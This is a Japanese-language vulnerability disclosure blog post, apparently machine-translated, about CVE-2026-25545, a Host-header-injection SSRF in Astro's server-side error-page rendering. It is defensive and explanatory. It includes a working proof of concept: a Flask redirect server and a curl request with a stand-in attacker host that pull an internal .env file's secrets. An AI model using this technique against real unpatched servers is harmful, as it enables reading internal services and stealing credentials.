Aikido

Hostヘッダー注入によるAstroフルリードSSRF

執筆者
Jorian Woltjer

Astroは、多くの大規模組織でウェブサイト開発を大幅に容易にするために使用されているJavaScriptのフロントエンドおよびバックエンドフレームワークです。最近、弊社のAikido Attack製品のエージェントの1つが、このフレームワークのサーバーサイド実装において中程度の深刻度の脆弱性を特定しました。これにより、攻撃者が直接アクセスできる任意のサーバーがServer-Side Request Forgery (SSRF) の脆弱性を持つ状態になりました。

現在、~として知られている CVE-2026-25545、数日以内に修正を得るため、Astroのメンテナーに迅速に通知しました。バージョン astro@5.17.2, @astrojs/node@9.5.3 およびベータ版 astro@6.0.0-beta.11 はパッチが適用されています。

まとめ

プリレンダリングされたカスタムエラーページ(例: 404.astro または 500.astro)を使用するサーバーサイドレンダリング(SSR)エラーは、SSRFの脆弱性があります。もし ホスト: ヘッダーが攻撃者のサーバーに変更された場合、 /500.html は攻撃者のサーバーからフェッチされ、他の内部URLにリダイレクトされる可能性があります。このリダイレクトが追跡され、その応答が攻撃者に返されます。

ファイアウォールやNATによって保護されているlocalhostまたは内部ネットワーク上のあらゆるサービスがこの方法でアクセス可能になり、ホストされている内容によっては壊滅的な結果を招く可能性があります。

詳細

この問題は、私たちが調査中にAIペンテストエージェントによって発見されました。この脆弱性の詳細を説明しながら、その思考プロセスを解説します。

Astroは「static」と「server」の2つのモードでページをレンダリングできます。シンプルなウェブサイトではサーバーが不要で、静的なHTMLファイルとしてエクスポートできますが、サーバーサイドロジックを必要とするものもあります。各ページで必要なモードを決定できます。

ホームページの場合、常に同じで再ビルド時にのみ変更されるHTMLファイルをプリレンダリングできます。代わりに、ビューカウンターのようにオンデマンドでレンダリングするには、サーバーサイドレンダリング(SSR)が必要です。

SSRを使用するには、出力設定オプションを 'server' において astro.config.mjs:

export default defineConfig({
  output: 'server'
})

興味深い例として、Astroのエラーページがあります。どのルートでも404 Not Found500 Internal Server Errorのようなエラーを返すことができ、これらはデフォルトのエラーページで適切に表示されます。

開発者として、 カスタムエラーページ を用いて 404.astro または 500.astro効率化のため、これらは可能な限りHTMLファイルとしてプリレンダリングされます。興味深いのは、サーバーがプリレンダリングされたレスポンスを返す必要がある点です。

これは少し奇妙な方法で実装されています。 サーバーはフェッチします \/404.html または /500.html 自身から そしてその結果を返します。これについては以下で確認できます。 renderError():

1async #renderError(...): Promise<Response> {
2  const errorRoutePath = `/${status}${this.#manifest.trailingSlash === 'always' ? '/' : ''}`;
3  const errorRouteData = matchRoute(errorRoutePath, this.#manifestData);
4  const url = new URL(request.url);
5  if (errorRouteData) {
6    if (errorRouteData.prerender) {
7      const maybeDotHtml = errorRouteData.route.endsWith(`/${status}`) ? '.html' : '';
8      const statusURL = new URL(
9        `${this.#baseWithoutTrailingSlash}/${status}${maybeDotHtml}`,
10        url,  // base
11      );
12      if (statusURL.toString() !== request.url) {
13        const response = await prerenderedErrorPageFetch(statusURL.toString() as ErrorPagePath);
14        const override = { status, removeContentEncodingHeaders: true };
15        return this.#mergeResponses(response, originalResponse, override);
16      }
17    }
18  ...
19}
20

最も重要な行は prerenderedErrorPageFetch(statusURL)カスタムエラーのルートが存在し、エラーページが プリレンダリングされている場合に実行される行です。 (13行目)。NodeJSでは、これは単に のエイリアスです。 fetch() if options.experimentalErrorPageHost が設定されていない場合です。
statusURL は、~から構築されます。 request.url (4行目)。このプロパティは から来ており、 req.headers.hostとも呼ばれます。 ホスト: HTTPにおけるヘッダーです。

static createRequest(...) {
  const providedHostname = req.headers.host ?? req.headers[':authority'];
  const validated = App.validateForwardedHeaders(
    getFirstForwardedValue(req.headers['x-forwarded-proto']),
    getFirstForwardedValue(req.headers['x-forwarded-host']),
    getFirstForwardedValue(req.headers['x-forwarded-port']),
    allowedDomains,
  );
  const sanitizedProvidedHostname = App.sanitizeHost(
    typeof providedHostname === 'string' ? providedHostname : undefined,
  );
  const hostname = validated.host ?? sanitizedProvidedHostname;

  const hostnamePort = getHostnamePort(hostname, port);
  url = new URL(`${protocol}://${hostnamePort}${req.url}`);

  const request = new Request(url, options);
  ...

会社情報 ホスト: ヘッダーは、クライアントが送信する任意の文字列に過ぎないため、常にユーザーによって制御されます。上記のロジックで示されているように、Astroは req.headers.host を構築するために request.urlとなり、それが内部の fetch() 呼び出しのベースURLとなります。Astroは、入力がサーバー自体を指していると信頼し、実際に検証することはありません。これは Hostヘッダーインジェクションであり、ここでSSRFを可能にしているものです。

GET /not-found HTTP/1.1
Host: attacker.tld

SSRF

ここでは サーバーサイドリクエストフォージェリが目的でしたが、この時点ではそれほど遠くありません。上記のリクエストは404エラーをトリガーし、カスタムの404ページが設定されている場合、その attacker.tld ホストヘッダーが http://attacker.tld/404.html .
へのリクエストを送信するために使用されます。これにより、任意の内部ホスト上のこの特定のURLをすでに取得できます。

GET /404.html HTTP/1.1
ホスト: attacker.tld
接続: keep-alive
受信: */*
accept-language: *
sec-fetch-mode: cors
user-agent: node
accept-encoding: gzip, deflate

~には機密性の高いコンテンツはあまりないでしょう。 \/404.html 任意のホストの。幸いなことに、 fetch() は自動的にリダイレクトを追跡します。これは、Astroサーバーにすでに攻撃者のウェブサイトをリクエストさせることができるため、私たちが利用できる事実です。私たちがすべきことは、 リダイレクトする から http://attacker.tld/404.html のような機密性の高いURLへ http://127.0.0.1:8000/.env!

これを処理するために、基本的なサーバーをセットアップします。

出典: flask import Flask, redirect

app = Flask(__name__)

@app.route("/404.html")
defエクスプロイト():
    return redirect("http://127.0.0.1:8000/.env")

if __name__ == "__main__":
    app.run()

その後、悪意のあるリクエストを再度送信します。

$ curl -i 'http://localhost:4321/not-found' -H 'Host: attacker.tld'
HTTP/1.1 404 OK
content-type: text/plain
サーバー: SimpleHTTP/0.6 Python/3.12.3
接続: キープアライブ
キープアライブ: タイムアウト=5
転送エンコーディング: チャンク

SECRET=...

成功しました!404ページは攻撃者からフェッチされ、リダイレクトされました 127.0.0.1:8000、そのレスポンス(ヘッダーとボディ)が返されました。これにより、攻撃者は内部ネットワーク全体をマッピングし、サービスとやり取りして機密情報を読み取ることが可能になります。

要件

攻撃者がこの脆弱性をエクスプロイトするには、いくつかの要件があります。

  1. サーバーはServer-Side Renderingモードである必要があります(そうでない場合、単なる静的HTMLです)。
  2. 会社情報 ホスト: ヘッダーはサニタイズされていない必要があります。一部のプロキシはこのヘッダーを検証するため、
  3. AstroサーバーのオリジンIPに直接接続するために、それを見つける必要がある場合があります。
  4. ソースコード内で、開発者はカスタムの 404.astro, 404.md、または 500.astro ファイルを設定している必要があります。これは大規模なアプリケーションでは一般的です。

示されているように、ルーティングされていないパスにアクセスして404エラーを利用することが、最も可能性の高いエクスプロイトパスです。しかし、カスタムのInternal Server Errorページが設定されている場合、偽装されたHost:ヘッダーで任意のエラーをトリガーすることも、同様に脆弱性を引き起こす可能性があります。

対策

当社のAIエージェントによって報告された脆弱性を確認した後、私たちはすぐにAstroのメンテナーに報告しました。彼らはわずか数日で修正を準備しました。

パッチが適用されたバージョンは以下から始まります。

  • astro@5.17.2
  • astro@6.0.0-beta.11
  • @astrojs/node@9.5.3

彼らの修正は を再考することでした。 prerenderedErrorPageFetch() 関数は、以前はfetch()のラッパーでした。現在では、 /404 または /500 ファイルはディスクから直接読み込まれ、それ以外のものは、 options.experimentalErrorPageHost が明示的に設定され、どこからフェッチするかを指示している場合にのみフェッチされます。Host:ヘッダーも、 X-Forwarded-Host: が既にそうであったのと同様に、検証されるようになりました。これは攻撃者が request.url をAstroで改ざんするのを防ぐためです。

この脆弱性は、 ホスト: ヘッダーのユーザー入力を信頼することに起因しますが、これは決して行うべきではありません。からデフォルトでリダイレクトするようなマジック機能は

fetch() 予期せぬ結果につながる可能性もあります。呼び出す関数が具体的に何をするのか、そのドキュメントを読むことで正確に把握しておくことが重要です。

この脆弱性に対するエクスプロイトは非常に単純で、テストも容易です。不正な形式のヘッダーを付けて存在しないページをリクエストするだけで、 ホスト: ヘッダーです。このような攻撃は、アプリケーションを操作することでソースコードなしでも発見される可能性があり、

AikidoのAIペンテストが実行できます。しかし、本レポートからわかるように、強力なコード分析(ホワイトボックス)機能も備えています。

タイムライン

  • 2026年2月2日: Aikido Securityが脆弱性を特定し、動作するPoCを構築しました
  • 2026年2月3日: Astroメンテナーへの責任ある開示
  • 2026年2月3日: Astroメンテナーによってレポートが確認され、修正作業が開始されました
  • 2026年2月4日: GitHubによってCVE-2026-25545が作成されました
  • 2026年2月11日: Astroの新しいバージョンで修正がリリースされました (astro@5.17.2, astro@6.0.0-beta.11、および @astrojs/node@9.5.3)
共有:

https://www.aikido.dev/blog/astro-full-read-ssrf-via-host-header-injection

本日より無料で開始いただけます。

無料で始める
CC不要

脅威ニュースをサブスクライブ

4.7/5
誤検知にうんざりしていませんか?
10万人以上のユーザーと同様に Aikido をお試しください。
今すぐ始める
パーソナライズされたウォークスルーを受ける

10万以上のチームに信頼されています

今すぐ予約
アプリをスキャンして IDORs と実際の攻撃パスを検出します

10万以上のチームに信頼されています

スキャンを開始
AI がどのようにアプリをペンテストするかをご覧ください

10万以上のチームに信頼されています

テストを開始

今すぐ、安全な環境へ。

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要です。 | スキャン結果は32秒で表示されます。